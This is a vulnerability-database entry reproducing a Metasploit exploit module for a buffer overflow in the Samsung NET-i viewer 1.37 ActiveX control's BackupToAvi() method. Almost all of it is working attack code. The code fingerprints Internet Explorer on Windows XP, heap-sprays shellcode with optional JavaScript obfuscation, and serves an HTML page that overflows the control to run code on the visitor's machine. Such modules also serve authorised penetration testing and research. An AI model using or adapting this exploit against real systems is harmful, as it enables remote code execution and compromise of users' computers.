Samsung NET-i viewer Multiple ActiveX BackupToAvi() Remote Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Samsung NET-i viewer ActiveX Remote Overflo

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#34;Samsung NET-i viewer Multiple ActiveX BackupToAvi() Remote Overflow&#34;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX installed
				with the Samsung NET-i viewer 1.37.

				Specifically, when supplying a long string for the fname parameter to the
				BackupToAvi method, an integer overflow occurs, which leads to a posterior buffer
				overflow due to the use of memcpy with an incorrect size, resulting in remote code
				execution under the context of the user.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;Luigi Auriemma&#39;, # Vulnerability Discovery and PoC
					&#39;juan vazquez&#39; # Metasploit module
				],
			&#39;References&#39;     =&#62;
				[
					[ &#39;OSVDB&#39;, &#39;81453&#39;],
					[ &#39;BID&#39;, &#39;53193&#39;],
					[ &#39;URL&#39;, &#39;http://aluigi.altervista.org/adv/netiware_1-adv.txt&#39; ]
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;           =&#62; 1024,
					&#39;BadChars&#39;        =&#62; &#34;\x00&#34;
				},
			&#39;DefaultOptions&#39;  =&#62;
				{
					&#39;ExitFunction&#39;         =&#62; &#34;seh&#34;,
					&#39;InitialAutoRunScript&#39; =&#62; &#39;migrate -f&#39;
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					# Samsung NET-i viewer 1.37
					# CNC_Ctrl.dll 1.5.1.1
					[ &#39;Automatic&#39;, {} ],
					[ &#39;IE 6 on Windows XP SP3&#39;,
						{
							&#39;Ret&#39; =&#62; 0x0c0c0c0c,
							&#39;Offset&#39; =&#62; &#39;0x800 - code.length&#39;,
						}
					],
					[ &#39;IE 7 on Windows XP SP3&#39;,
						{
							&#39;Ret&#39; =&#62; 0x0c0c0c0c,
							&#39;Offset&#39; =&#62; &#39;0x800 - code.length&#39;,
						}
					]
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#34;Apr 21 2012&#34;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptBool.new(&#39;OBFUSCATE&#39;, [false, &#39;Enable JavaScript obfuscation&#39;])
			], self.class)
	end

	def get_target(agent)
		#If the user is already specified by the user, we&#39;ll just use that
		return target if target.name != &#39;Automatic&#39;

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		else
			return nil
		end
	end


	def on_request_uri(cli, request)
		agent = request.headers[&#39;User-Agent&#39;]
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn&#39;t have the same setup we&#39;re targeting
		if my_target.nil?
			print_error(&#34;Browser not supported: #{agent.to_s}&#34;)
			send_not_found(cli)
			return
		end

		print_status(&#34;Target set: #{my_target.name}&#34;)

		p = payload.encoded
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
		js_nops = Rex::Text.to_unescape(&#34;\x0c&#34;*4, Rex::Arch.endian(my_target.arch))

		js = &#60;&#60;-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape(&#34;#{js_code}&#34;);
		var nops = unescape(&#34;#{js_nops}&#34;);

		while (nops.length &#60; 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target[&#39;Offset&#39;]});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length &#60; 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();

		for (var i=1; i &#60; 0x200; i++) {
			heap_obj.alloc(block);
		}
		JS

		js = heaplib(js, {:noobfu =&#62; true})

		#obfuscate on demand
		if datastore[&#39;OBFUSCATE&#39;]
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		bof = Rex::Text.to_unescape(&#34;\x0c&#34; * 2048, Rex::Arch.endian(my_target.arch))

		html = &#60;&#60;-EOS
		&#60;html&#62;
		&#60;head&#62;
		&#60;script&#62;
		#{js}
		&#60;/script&#62;
		&#60;/head&#62;
		&#60;body&#62;
		&#60;object id=&#34;target1&#34; classid=&#34;CLSID:3D6F2DBA-F4E5-40A6-8725-E99BC96CC23A&#34;&#62;&#60;/object&#62;
		&#60;script&#62;
			target1.BackupToAvi(0, 0, 0, unescape(&#34;#{bof}&#34;));
		&#60;/script&#62;
		&#60;body&#62;
		&#60;/html&#62;
		EOS

		html = html.gsub(/^\t\t/, &#39;&#39;)

		print_status(&#34;Sending html&#34;)
		send_response(cli, html, {&#39;Content-Type&#39;=&#62;&#39;text/html&#39;})

	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1